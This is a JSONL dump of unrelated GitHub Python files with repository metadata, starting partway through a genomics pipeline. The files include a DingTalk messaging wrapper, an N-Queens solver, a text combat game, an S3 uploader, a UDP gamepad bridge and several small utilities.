os.path.exists(os.path.join(outdir, \"eggNOG-mapper\")):\n        os.mkdir(os.path.join(outdir, \"eggNOG-mapper\"))\n    if not os.path.exists(os.path.join(outdir, \"tmhmm\")):\n        os.mkdir(os.path.join(outdir, \"tmhmm\"))\n\n    vfdb_module(input_dir=indir, output_dir=os.path.join(outdir, \"VFDB\"))\n    piler_cr_module(assembly_dir, os.path.join(outdir, \"pilerCR\"), piler_cr_converter)\n    t3 = time.time()\n    signalP(mypath = indir, path = os.path.join(outdir, \"signalP\"))\n    print(f\"Time taken for signalP is {time.time()-t3}s\")\n\n    # card_rgi_runnerp = mp.Process(target=card_rgi_runner, args=(assembly_dir, os.path.join(outdir, \"CardRGI\")))\n    getfilep = mp.Process(target=getFile, args=(indir, os.path.join(outdir, \"eggNOG-mapper\")))\n    tmhmm_runnerp = mp.Process(target=tmhmm_runner, args=(indir, os.path.join(outdir, \"tmhmm\")))\n    processes = [tmhmm_runnerp, getfilep]\n    for p in processes:\n        p.start()\n    \n    for p in processes:\n        p.join()\n    try:\n        os.mkdir(os.path.join(outdir, \"FinalResults\"))\n    except:\n        print(\"File already made\")\n    GFF_Merge(outdir, os.path.join(outdir, \"FinalResults\"), indir)\n    t2 = time.time()\n    print(f\"Total time taken is {t2-t1}s\")\n\n    # Clean up\n    os.system(\"rm -r \" + os.path.join(outdir, \"CardRGI\"))\n    os.system(\"rm -r \" + os.path.join(outdir, \"VFDB\"))\n    os.system(\"rm -r \" + os.path.join(outdir, \"pilerCR\"))\n    os.system(\"rm -r \" + os.path.join(outdir, \"signalP\"))\n    os.system(\"rm -r \" + os.path.join(outdir, \"eggNOG-mapper\"))\n    os.system(\"rm -r \" + os.path.join(outdir, \"tmhmm\"))\n    os.system(\"rm -r TMH*\")\n    os.system(\"rm -r *.gff\")\n    os.system(\"rm -r \" + \"TMHMM*\")\n    \nif __name__ == \"__main__\":\n    main()\n","repo_name":"Hanuphant/Webserver_Computational_Genomics","sub_path":"backend/scripts/FunctionalAnnotationPipeline.py","file_name":"FunctionalAnnotationPipeline.py","file_ext":"py","file_size_in_byte":9253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19868526007","text":"count = 0\n\ndef isOk(arr,n):\n \n    for i in range(n):\n        if arr[i] == arr[n]:\n  \n            return False\n        if abs(n - i) == abs(arr[n]-arr[i]):\n   \n            return False\n    return True    \n\ndef nQueen(arr,n):\n \n    global count \n    if n == N:\n        count += 1\n        return\n    for i in range(N):\n        arr[n] = i\n       \n        if isOk(arr,n):\n           \n            nQueen(arr,n+1)\n        arr[n] = 0    \n           \n\nN = int(input())\narr = [-1 for _ in range(N)]\n\nnQueen(arr,0)\nprint(count)\n","repo_name":"cocorig/challenge100-codingtest-study","sub_path":"wlwl1011/BOJ/heybob/4회/9663.py","file_name":"9663.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"21449444475","text":"# -*- coding: utf-8 -*-\n'''\nManage dingtalk messages.\n'''\nimport time\nimport json\nimport urllib.parse\nfrom ..util.conf import get_config\nfrom ..util.api import client\n\n\ndef get_pc_link(link, pc_slide='true'):\n    '''\n    获取pc跳转url\n    '''\n    pc_slide = 'true' if pc_slide == 'true' else 'false'\n    pc_link = 'dingtalk://dingtalkclient/page/link?pc_slide=%s&url=%s'\\\n              % (pc_slide, urllib.parse.quote(link))\n    return pc_link\n\n\nclass Message(dict):\n    def as_msg(self):\n        msg = {'msgtype': self.msgtype}\n        msg[self.msgtype] = dict(self)\n        return msg\n\n\nclass TextMessage(Message):\n    msgtype = 'text'\n\n    def __init__(self, content):\n        self['content'] = content\n\n\nclass ImageMessage(Message):\n    msgtype = 'image'\n\n    def __init__(self, media_id):\n        self['media_id'] = media_id\n\n\nclass VoiceMessage(Message):\n    msgtype = 'voice'\n\n    def __init__(self, media_id, duration=None):\n        self['media_id'] = media_id\n        if duration:\n            self['duration'] = duration\n\n\nclass FileMessage(Message):\n    msgtype = 'file'\n\n    def __init__(self, media_id):\n        self['media_id'] = media_id\n\n\nclass LinkMessage(Message):\n    msgtype = 'link'\n\n    def __init__(self, messageUrl, picUrl, title, text):\n        self['messageUrl'] = messageUrl\n        self['picUrl'] = picUrl\n        self['title'] = title\n        self['text'] = text\n\n\nclass OAMessage(Message):\n    msgtype = 'oa'\n\n    def __init__(self, message_url, head, body,\n                 pc_message_url):\n        self['message_url'] = message_url\n        self['head'] = head\n        self['body'] = body\n        if pc_message_url is not None:\n            self['pc_message_url'] = pc_message_url\n\n\nclass MarkdownMessage(Message):\n    msgtype = 'markdown'\n\n    def __init__(self, title, text):\n        self['title'] = title\n        self['text'] = text\n\n\nclass ActionCardMessage(Message):\n    msgtype = 'action_card'\n    optional_fields = ['single_title', 'single_url=None',\n                       'btn_orientation', 'btn_json_list']\n\n    def __init__(self, title, markdown,\n                 single_title=None, single_url=None,\n                 btn_orientation=None, btn_json_list=None):\n        self['title'] = title\n        self['markdown'] = markdown\n        for field_name in self.optional_fields:\n            if locals().get(field_name) is not None:\n                self[field_name] = locals()[field_name]\n\n\ndef corpconversation_asyncsend(agent_id=None, msg=None,\n                               userid_list=None, dept_id_list=None, to_all_user=False):\n    '''\n    发送企业通知消息\n\n    Param\n    '''\n    if agent_id is None:\n        agent_id = get_config().get('agent_id')\n    if not (agent_id and msg):\n        raise Exception(\"Both agent_id and msg must be provided.\")\n    if isinstance(userid_list, list):\n        userid_list = ','.join(userid_list)\n    if isinstance(dept_id_list, list):\n        userid_list = ','.join(dep_id_list)\n    params = {k: v for k, v in dict(agent_id=agent_id,\n                              userid_list=userid_list,\n                              dept_id_list=dept_id_list,\n                              to_all_user=to_all_user).items() if v}\n    if isinstance(msg, Message):\n        msg = msg.as_msg()\n    params['msg'] = json.dumps(msg)\n    resp = client.call('POST',\n                       '/topapi/message/corpconversation/asyncsend_v2',\n                       data=params)\n    return resp.json()\n\n\ndef corpconversation_asyncsendbycode(agent_id=None, msg=None,\n                                     userid_list=None, dept_id_list=None,\n                                     to_all_user=False, code=None):\n    '''\n    通过用户授权码发送企业通知消息\n    '''\n    if agent_id is None:\n        agent_id = get_config().get('agent_id')\n    if not (agent_id and msg and code):\n        raise Exception(\"All of agent_id, msg and code must be provided.\")\n    if isinstance(userid_list, list):\n        userid_list = ','.join(userid_list)\n    if isinstance(dept_id_list, list):\n        userid_list = ','.join(dep_id_list)\n    params = {k: v for k, v in dict(agent_id=agent_id,\n                              userid_list=userid_list,\n                              dept_id_list=dept_id_list,\n                              to_all_user=to_all_user,\n                              code=code).items() if v}\n    params['msgtype'] = msg.msgtype\n    params['msgcontent'] = json.dumps(dict(msg))\n    resp = client.call('POST',\n                       '/topapi/message/corpconversation/asyncsendbycode',\n                       data=params)\n    return resp.json()\n\n\ndef corpconversation_getsendprogress(agent_id=None, task_id=None):\n    '''\n    获取企业通知消息的发送进度\n    '''\n    if agent_id is None:\n        agent_id = get_config().get('agent_id')\n    if not (agent_id and task_id):\n        raise Exception(\"Both agent_id and task_id must be provided.\")\n    params = {'agent_id': agent_id,\n              'task_id': task_id}\n    resp = client.call('POST',\n                       '/topapi/message/corpconversation/getsendprogress',\n                       data=params)\n    return resp.json()\n\n\ndef corpconversation_getsendresult(agent_id=None, task_id=None):\n    '''\n    获取企业通知消息的发送结果\n    '''\n    if agent_id is None:\n        agent_id = get_config().get('agent_id')\n    if not (agent_id and task_id):\n        raise Exception(\"Both agent_id and task_id must be provided.\")\n    params = {'agent_id': agent_id,\n              'task_id': task_id}\n    resp = client.call('POST',\n                       '/topapi/message/corpconversation/getsendresult',\n                       data=params)\n    return resp.json()\n","repo_name":"socrateslee/dingle","sub_path":"dingle/dingtalk/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":5693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32166165062","text":"\"\"\"empty message\n\nRevision ID: 490d6ca57fb0\nRevises: \nCreate Date: 2020-02-18 22:57:18.757064\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '490d6ca57fb0'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('questions', sa.Column('recieve_user_image_url', sa.String(length=1024), nullable=True))\n    op.add_column('questions', sa.Column('send_user_image_url', sa.String(length=1024), nullable=True))\n    op.drop_column('questions', 'profile_image_url')\n    op.drop_column('questions', 'answer_image_url')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('questions', sa.Column('answer_image_url', sa.VARCHAR(length=1024), nullable=True))\n    op.add_column('questions', sa.Column('profile_image_url', sa.VARCHAR(length=1024), nullable=True))\n    op.drop_column('questions', 'send_user_image_url')\n    op.drop_column('questions', 'recieve_user_image_url')\n    # ### end Alembic commands ###\n","repo_name":"kkp6421/flask-question","sub_path":"migrations/versions/490d6ca57fb0_.py","file_name":"490d6ca57fb0_.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20761329021","text":"print(\"\\n==========================================\")\r\nprint(\"  METODE REGULA-FALSI\")\r\nprint(\"  Nama  : Wahyu Harry Saputra Sembiring\")\r\nprint(\"  NIM   : 2009106049\")\r\nprint(\"  Kelas : Informatika A 2020\")\r\nprint(\"==========================================\\n\")\r\n\r\ndef f(x):\r\n    return 2.71828183-5*x**2\r\na = int(input(\"Masukkan selang pertama : \"))\r\nb = int(input(\"Masukkan selang kedua : \"))\r\nn = int(input(\"Masukkan jumlah iterasi : \"))\r\nif f(a) * f(b) > 0:\r\n    print(\"Kesalahan Regula-Falsi\")\r\nelse:\r\n    k=1\r\n    while(k<=n):\r\n        c=(a*f(b)-b*f(a))/(f(b)-f(a))\r\n        if f(a) * f(c) < 0:\r\n            b=c\r\n        else:\r\n            a=c\r\n        print(\"Akar = \", c, \"pada iterasi = \", k)\r\n        k = k+1\r\n\r\n# x**3-x-2","repo_name":"wahyusaputra073/Metode-Numerik","sub_path":"MetodeRegulaFalsi.py","file_name":"MetodeRegulaFalsi.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32042745087","text":"\nimport random\nimport time\nglobal Current_Level_XP\nglobal Next_Level_XP\n\nOut_Of_Combat = 1\nHealth = 100\nGold = 0\nLevel = 1\nNext_Level_XP = 100\nCurrent_Level_XP = 0\nx=1\n\ndef Coin_Choice():\n    #Subroutine which Carries out a coin flipping Choice, either heads or tails to check if it is valid.\n    Choice_Made = 1\n    while Choice_Made == 1:\n        \n        #Takes the input and applies to choice variable and makes lowercase.\n        Choice = input()\n        Choice = Choice.lower()\n\n        #Checks to see if choice is heads or tails. If not then a new answer\n        #must be entered.\n        if Choice != 'heads' and Choice != 'tails':\n                print(\"Please input either heads or tails.\")\n        elif Choice == \"heads\":\n            print(\"You chose heads\")\n            Choice_Made = 2\n        else:\n            print(\"You chose tails\")\n            Choice_Made = 3\n\n    #Returns the value for Choice_Made\n    return Choice_Made\n            \ndef Battle_First_Turn():\n    print(\"\")\n    print('''A battle is about to start, a coin must be flipped to decide the first turn.\nWhat face of the coin will it land on?''')\n    print(\"\")\n    #Generates a value as if flipping a coin heads = 2 tails = 3\n    Coin_Flip = random.randint(2,3)\n    \n    #Gathers Choice_Made from Coin_Choice()\n    Choice_Made = Coin_Choice()\n\n    #If Coin_Made is the same as the face the appropriate phrase is applied.\n    if Choice_Made == 2:\n        Face_Win = \"Heads!\"\n        Face_Fail = \"Tails\"\n    else:\n        Face_Win = \"Tails!\"\n        Face_Fail = \"Heads\"\n\n    #If the Choice made is the same as the Face that landed after the coin flip the player gets first turn.\n    #Otherwise the enemy gets first turn.\n    if Choice_Made == Coin_Flip:\n        print(\"The coin landed on...\", end='')\n        time.sleep(1)\n        print(Face_Win)\n        time.sleep(0.5)\n        print(\"\")\n        print(\"You get the first turn!\")\n        First_Turn = 1\n    else:\n        print(\"The coin landed on...\", end='')\n        time.sleep(1)\n        print(Face_Fail)\n        time.sleep(0.5)\n        print(\"\")\n        print(\"The enemy gets the first turn!\")\n        First_Turn = 0\n    return First_Turn\n        \ndef Battle():\n    global Health\n    global Stamina\n    global Kill_timer\n    global Enemy_Damage\n    Kill_timer = 0\n    Health = 100\n    Stamina = 200\n    Enemy_Health = 100\n    Valid_Turn = 0\n    \n    #Checks if player gets first turn.\n    First_Turn = Battle_First_Turn()\n\n#States if health is stil higher than 0 then battle continues. \n    while Enemy_Health > 1 or Health > 1:\n        Kill_timer = Kill_timer + 1\n        \n#If first turn is platyers...\n        if First_Turn == 1:\n            \n#Asks user what he / she wants to do.\n            print(\"\")\n            print(\"What would you like to do?\")\n            print(\"1.Attack\")\n            print(\"2.Run\")\n            print(\"3.Skip Turn\")\n            print(\"\")\n            \n#Makes sure the data entered is valid.\n            while First_Turn == 1:\n                Battle_Choice = input()\n                if Battle_Choice != \"1\" and Battle_Choice != \"2\" and Battle_Choice != \"3\":\n                    print(\"please input either 1, 2 or 3\")\n                    Valid_Turn = 0\n                    \n#Data is valid and will use the 1st option.\n#Sets an amount to hit enemy and takes damage off.\n#If the damage is above 15 a critical hit message will appear.\n                elif Battle_Choice == \"1\":\n                    print(\"\")\n                    print(\"Which attack do you want to use?\")\n                    print(\"1.Basic : One hit taking 20 stamina\")\n                    print(\"2.Flurry : Three Consecutive hits taking 150 Stamina\")\n                    Attack_Choice = input()\n                    if Attack_Choice == \"1\":\n                        if Stamina < 20:\n                            print(\"You dont have enough stamina\")\n                            \n                        else:\n                            Enemy_Damage = random.randint(1,30)\n                            Stamina = Stamina - 20\n                            Enemy_Health = Enemy_Health - Enemy_Damage\n                            print(\"\")\n                            Damage_Calculator()\n                            if Enemy_Health < 1:\n                                Enemy_Health = 0\n                                print(\"You Won the Battle!\")\n                                Loot_Generator()\n                                return\n                            if Stamina < 0:\n                                First_Turn = 2\n                            First_Turn = 2\n                            Valid_Turn = 1\n                        \n                    elif Attack_Choice == \"2\":\n                        if Stamina < 150:\n                            print(\"You dont have enough stamina\")\n                            \n                        else:\n                            Enemy_Damage = random.randint(1,30)\n                            Enemy_Health = Enemy_Health - Enemy_Damage\n                            time.sleep(0.5)\n                            Damage_Calculator()\n\n                            Enemy_Damage = random.randint(1,20)\n                            Enemy_Health = Enemy_Health - Enemy_Damage\n                            time.sleep(0.5)\n                            Damage_Calculator()\n                        \n                            Enemy_Damage = random.randint(1,30)\n                            Enemy_Health = Enemy_Health - Enemy_Damage\n                            time.sleep(0.5)\n                            Damage_Calculator()\n                        \n                            Stamina = Stamina - 150\n                    \n                            if Enemy_Health < 1:\n                                Enemy_Health = 0\n                                print(\"You Won the Battle!\")\n                                Loot_Generator()\n                                return\n                            First_Turn = 2\n                            Valid_Turn = 1\n                            \n                    elif Attack_Choice != \"1\" or Attack_Choice != \"1\":\n                        print(\"Please select a skill with either 1 or 2\")\n                \n                        \n                elif Battle_Choice == \"2\":\n                    Run_Chance = random.randint(1,100)\n                    if Run_Chance < 30:\n                        print(\"You managed to escape\")\n                        return\n                    else:\n                        Trip_Loss = random.randint(1,10)\n                        print(\"You fell and lost \", Trip_Loss, \" Health! and continued to battle.\")\n                        Health = Health - Trip_Loss\n                        First_Turn = 2\n\n                    Valid_Turn = 1\n\n                elif Battle_Choice == \"3\":\n                    print(\"\")\n                    print(\"You skip your turn\")\n                    print(\"\")\n                    First_Turn = 2\n\n        \n#Enemy attack\n        else:\n            print(\"\")\n            Enemy_Hit = random.randint(0,20)\n            print(\"The enemy attacks hitting \",Enemy_Hit , \"!\", end = \"\")\n            Health = Health - Enemy_Hit\n            Stamina = Stamina + random.randint(1,10)\n            if Enemy_Hit > 15:\n                print(\"CRITICAL HIT!\")\n                print(\"\")\n            print(\"\")\n            if Health < 1:\n                Health = 0\n                print(\"You have died...\")\n                return \n            else:\n                First_Turn = 1\n            time.sleep(1)\n            Valid_Turn = 1\n\n            if Stamina > 200:\n                Stamina = 200\n            \n                \n#Displays player and enemy health and player stamina after every move.                \n        if Valid_Turn == 1:\n            print(\" \")\n            print(\"\")\n            print(\"Your Health : \", Health, \"/ 100\")\n            print(\"Your Stamina : \", Stamina, \"/ 200\")\n            print(\"Enemy Health :\", Enemy_Health, \"/ 100\")\n            print(\"\")\n            \ndef Damage_Calculator():\n    print(\"You attack hitting \", Enemy_Damage, \"!\", end = '')\n    if Enemy_Damage > 15:\n        print(\" CRITICAL HIT!\")\n        print(\"\")\n        time.sleep(1)\n        Valid_Turn = 1\n    else:\n        print(\"\")\n        print(\"\")\n\n#Generates loot and xp depending on player performance.\ndef Loot_Generator():\n    global Gold_Gained\n    global Gold\n    Gold_Gained = 1000 // Kill_timer\n    print(\"You have gained \", Gold_Gained, \" gold.\")\n    Gold = Gold + Gold_Gained\n    Loot = [\"Sword of awesome\", \"Health potion x 2\", \"Nothing\"]\n    Loot_Randomiser = random.randint(0,2)\n    print(\"Loot: \", Loot[Loot_Randomiser])\n\ndef XP_Generator():\n    global Current_Level_XP\n    global Level\n    global Next_Level_XP\n    \n    Current_Level_XP = Current_Level_XP + (10 * Kill_timer)\n\n    if Current_Level_XP >= Next_Level_XP:\n        Previous_Level_XP = Current_Level_XP\n        Next_Level_XP = (Previous_Level_XP)*5\n        Level = Level + 1\n    return\n\n\nprint(\"To use this game, type any of these commands\")\nprint(\"\")\nprint(\"Fight: Starts a battle!\")\nprint(\"Info: Shows player information (Only out of battle)\")\nprint(\"\")\n    \nwhile Out_Of_Combat == 1:\n    O_of_C_Command = input().lower()\n    x = x + 1\n    \n#Starts a fight\n    if O_of_C_Command =='fight':\n        Battle()\n        if Health > 0:\n            XP_Generator()\n        print(\"\")\n        Out_Of_Combat = 1\n\n        \n    elif O_of_C_Command == \"info\":\n        print(\"Health: \", Health)\n        print(\"Gold: \", Gold,\"      Level:\", Level, \"      XP: \", Current_Level_XP , \" / \", Next_Level_XP)\n        \n\n    elif O_of_C_Command == \"secret\":\n        print(\"I\", end=\"\")\n        time.sleep(0.1)\n        print(\" a\", end=\"\")\n        time.sleep(0.1)\n        print(\"m \", end=\"\")\n        time.sleep(0.1)\n        print(\"A\", end=\"\")\n        time.sleep(0.1)\n        print(\"W\", end=\"\")\n        time.sleep(0.1)\n        print(\"E\", end=\"\")\n        time.sleep(0.1)\n        print(\"S\", end=\"\")\n        time.sleep(0.1)\n        print(\"O\", end=\"\")\n        time.sleep(0.1)\n        print(\"M\", end=\"\")\n        time.sleep(0.1)\n        print(\"E\", end=\"\")\n        time.sleep(0.1)\n        print(\"!\")\n        time.sleep(0.1)\n\n    elif O_of_C_Command == \"regen health\":\n        Health = Health + 100\n        if Health > 100:\n            Health = 100\n        print(\" Your Health is now \", Health)\n","repo_name":"JGooch95/Project-Combat-Scene","sub_path":"Project_Combat_Scene.py","file_name":"Project_Combat_Scene.py","file_ext":"py","file_size_in_byte":10340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25239073432","text":"class EvaluteDivision:\n\n    def __init__(self) -> None:\n        self.graph = {}\n\n\n    def build_equation_value(self, denomirator , numerator, value):\n\n        if denomirator in self.graph:\n            self.graph[denomirator].append((numerator, value))\n        else:\n            self.graph[denomirator]=[(numerator, value)]\n\n    def find_paths(self, denomirator , numerator):\n\n        if denomirator not in self.graph or numerator not in self.graph:\n            return -1.0\n\n        q = [(denomirator, 1.0)]\n\n        visited = set()\n\n        while q:\n            cur_item, cur_product = q.pop(0)\n\n            if cur_item == numerator:\n                return cur_product\n\n            visited.add(cur_item)\n\n            for neighbour, cur_value in self.graph[cur_item]:\n                if neighbour not in visited:\n                    q.append((neighbour, cur_product*cur_value))\n\n        return -1\n\n\n    def read_input(self, equations, values, quries):\n\n        for equation, value in zip(equations, values):\n            denomirator , numerator = equation\n            self.build_equation_value(denomirator , numerator, value)\n            self.build_equation_value(numerator, denomirator ,  1/value)\n        print(self.graph)\n        for query in quries:\n            denomirator , numerator = query\n            print(self.find_paths(denomirator , numerator))\n\n\n\nED = EvaluteDivision()\nED.read_input([[\"a\",\"b\"],[\"b\",\"c\"],[\"bc\",\"cd\"]], [1.5,2.5,5.0], [[\"a\",\"c\"],[\"c\",\"b\"],[\"bc\",\"cd\"],[\"cd\",\"bc\"]])\n\"\"\"\n3.75\n0.4\n5.0\n0.2\n\"\"\"\n\n\n# soution -2 :\n# class Solution:\n#     def calcEquation(self, equations: List[List[str]], values: List[float], queries: List[List[str]]) -> List[float]:\n\n#         graph = {}\n        \n#         def build_graph(equations, values):\n#             def add_edge(f, t, value):\n#                 if f in graph:\n#                     graph[f].append((t, value))\n#                 else:\n#                     graph[f] = [(t, value)]\n            \n#             for vertices, value in zip(equations, values):\n#                 f, t = vertices\n#                 add_edge(f, t, value)\n#                 add_edge(t, f, 1/value)\n        \n#         def find_path(query):\n#             b, e = query\n            \n#             if b not in graph or e not in graph:\n#                 return -1.0\n                \n#             q = collections.deque([(b, 1.0)])\n#             visited = set()\n            \n#             while q:\n#                 front, cur_product = q.popleft()\n#                 if front == e:\n#                     return cur_product\n#                 visited.add(front)\n#                 for neighbor, value in graph[front]:\n#                     if neighbor not in visited:\n#                         q.append((neighbor, cur_product*value))\n            \n#             return -1.0\n        \n#         build_graph(equations, values)\n#         return [find_path(q) for q in queries]\n        ","repo_name":"trinath503/Algorithms-And-DataStructures-Python","sub_path":"Graphs/evaluate-division.py","file_name":"evaluate-division.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"32575878790","text":"from odoo import http\nfrom odoo.http import request\n\nfrom odoo.addons.sale.controllers.variant import VariantController\n\n\nclass WebsiteSaleVariantController(VariantController):\n    @http.route(\n        [\"/sale/get_combination_info_minimal_price\"],\n        type=\"json\",\n        auth=\"public\",\n        methods=[\"POST\"],\n        website=True,\n    )\n    def get_combination_info_minimal_price(self, product_template_ids, **kw):\n        \"\"\"Special route to use website logic in get_combination_info override.\n        This route is called in JS by appending _website to the base route.\n        \"\"\"\n\n        res = []\n        templates = request.env[\"product.template\"].sudo().browse(product_template_ids)\n        for template in templates.filtered(lambda t: t.is_published):\n            cheaper_variant = template.product_variant_ids.sorted(\n                key=lambda p: p._get_combination_info_variant().get(\"price\")\n            )[:1]\n            res.append(\n                {\n                    \"id\": template.id,\n                    \"price\": cheaper_variant._get_combination_info_variant().get(\n                        \"price\"\n                    ),\n                    \"distinct_prices\": self._compute_has_distinct_variant_price(\n                        template\n                    ),\n                }\n            )\n\n        return res\n\n    def _compute_has_distinct_variant_price(self, template):\n        if template.product_variant_count > 1:\n            prices = template.product_variant_ids.mapped(\"price\")\n            if len(prices) > 1:\n                return True\n        return False\n","repo_name":"nguyenductamlhp/servermns","sub_path":"addons/e-commerce/website_sale_product_minimal_price/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20608077035","text":"import os\nimport gc\nimport random\nimport botocore\nimport boto3\nimport requests\nimport multiprocessing\nimport multiprocessing.dummy\n\nrequests.exceptions.ReadTimeout\nrequests.exceptions.ConnectionError\nbotocore.exceptions.ClientError\n\nMAX_RETRIES = 10\n\n#s3 = boto.connect_s3()\ns3C = boto3.client('s3', endpoint_url='http://radosgw.helium:7480/')\n\nclass DirectoryUploader:\n    def __init__(self, path, bucketname):\n        self.path = path\n        self.bucketname = bucketname\n\n    def on_item(self, args):\n        root, dirs, files = args\n        print(root)\n        for file in files:\n            for x in range(0, MAX_RETRIES):\n                try:\n                    self.on_file(root, dirs, file)\n                except (requests.exceptions.ReadTimeout, botocore.exceptions.ClientError, requests.exceptions.ConnectionError):\n                    print('retrying')\n                    continue\n                except TypeError:\n                    print('TypeError, retrying')\n                    continue\n                except FileNotFoundError:\n                    break\n                else:\n                    break\n            else:\n                print('Failed to handle {}'.format(file))\n        return root\n\n    def on_file(self, root, dirs, file):\n        key = os.path.join(root,file).lstrip('./')\n        print('\\t' + key)\n        try:\n            resp = s3C.head_object(Bucket=self.bucketname, Key=key)\n        except botocore.exceptions.ClientError:\n            resp = None\n        #print(repr(resp))\n        \"\"\"\n        try:\n            if resp is None or resp['ResponseMetadata']['HTTPStatusCode'] != 200:\n                s3C.upload_file(key, Bucket=self.bucketname, Key=key)\n        finally:\n            s3C.put_object_acl(ACL='public-read', Bucket=self.bucketname, Key=key)\n        \"\"\"\n        if resp is None or resp['ResponseMetadata']['HTTPStatusCode'] != 200:\n            s3C.upload_file(key, Bucket=self.bucketname, Key=key,\n                    ExtraArgs={'ACL': 'public-read'})\n\n    def do(self):\n        with multiprocessing.Pool(100) as p:\n            for dir_ in p.imap(self.on_item, os.walk(self.path)):\n                if random.randint(0, 10000):\n                    gc.collect()\n                print(dir_)\n        #for dir_ in map(self.on_item, os.walk(self.path)):\n        #     print(dir_)\n\nDirectoryUploader('.', 'octodonfr').do()\n","repo_name":"progval/ceph-scripts","sub_path":"masto_up.py","file_name":"masto_up.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25339800483","text":"\"\"\"\nURL mappings for the artifacts app\n\"\"\"\nfrom django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom artifacts import views\n\napp_name = 'artifacts'\n\nrouter = DefaultRouter()\nrouter.register(app_name, views.ArtifactsViewSet,\n                basename=app_name)\n\nurlpatterns = [\n    path('', include(router.urls))\n]\n","repo_name":"samKenpachi011/bwhistory-app-api","sub_path":"app/artifacts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41482414987","text":"import socket\nimport vgamepad as vg\nimport threading\n\n\nHOST = '192.168.199.1'\n\nPORT1 = 62221\nPORT2 = 62222\ngamepad = vg.VX360Gamepad()\n\ndef receive_wheel():\n    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n        s.bind((HOST, PORT1))\n        print(\"Listening Wheel\")\n        while True:\n            wheel, addr = s.recvfrom(128)\n            Wheel = int.from_bytes(wheel, 'little', signed = True) \n            print(Wheel)\n            gamepad.left_joystick(x_value = Wheel, y_value = 2048)\n            gamepad.update()\n\ndef receive_pad():\n    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n        s.bind((HOST, PORT2))\n        print(\"Listening Pad\")\n\n        while True:\n            # get the throttle\n            throttle, addr = s.recvfrom(128)\n            # get the break\n            breaking, addr = s.recvfrom(128)\n            Throttle = int.from_bytes(throttle, 'little', signed = False) \n            Breaking = int.from_bytes(breaking, 'little', signed = True) \n            print(Throttle)\n            print(Breaking)\n            gamepad.right_trigger(Throttle)\n            gamepad.left_trigger(Breaking)\n            gamepad.update()\n\n\nif __name__ == '__main__':\n    threading.Thread(target = receive_pad).start()\n    threading.Thread(target = receive_wheel).start()\n","repo_name":"huroy5518/project_group17_pc","sub_path":"socket_conn.py","file_name":"socket_conn.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7787953809","text":"import os\n\npwd_path = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\n# os.path.dirname(path)--去掉文件名，返回目录\n# _file_--表示当前文件的完整路径\n# os.path.abspath(__file__)--返回当前完整路径\n# print(pwd_path)  E:\\NLP\\nlp-beginner-finish-master\\task1\nclass LrConfig(object):\n    #  训练模型用到的路径\n    dataset_path = os.path.join(pwd_path + '/data' + \"/train.txt\")\n    stopwords_path = os.path.join(pwd_path + '/data' + \"/stopwords.txt\")\n    tfidf_model_save_path = os.path.join(pwd_path + '/model' + \"/tfidf_model.m\")\n    categories_save_path = os.path.join(pwd_path + '/data' + '/label.txt') # 分类类别数据\n    lr_save_dir = os.path.join(pwd_path + '/model' + \"/checkpoints\")\n    lr_save_path = os.path.join(lr_save_dir, 'best_validation')\n    #  变量\n    num_epochs = 100  # 总迭代轮次\n    num_classes = 2  # 类别数\n    print_per_batch = 10  # 每多少轮输出一次结果\n","repo_name":"Scottyoung99/CCF-BDCI-2020-QA-matching-in-Real-Estate","sub_path":"Machine Learning/config/lr_config.py","file_name":"lr_config.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
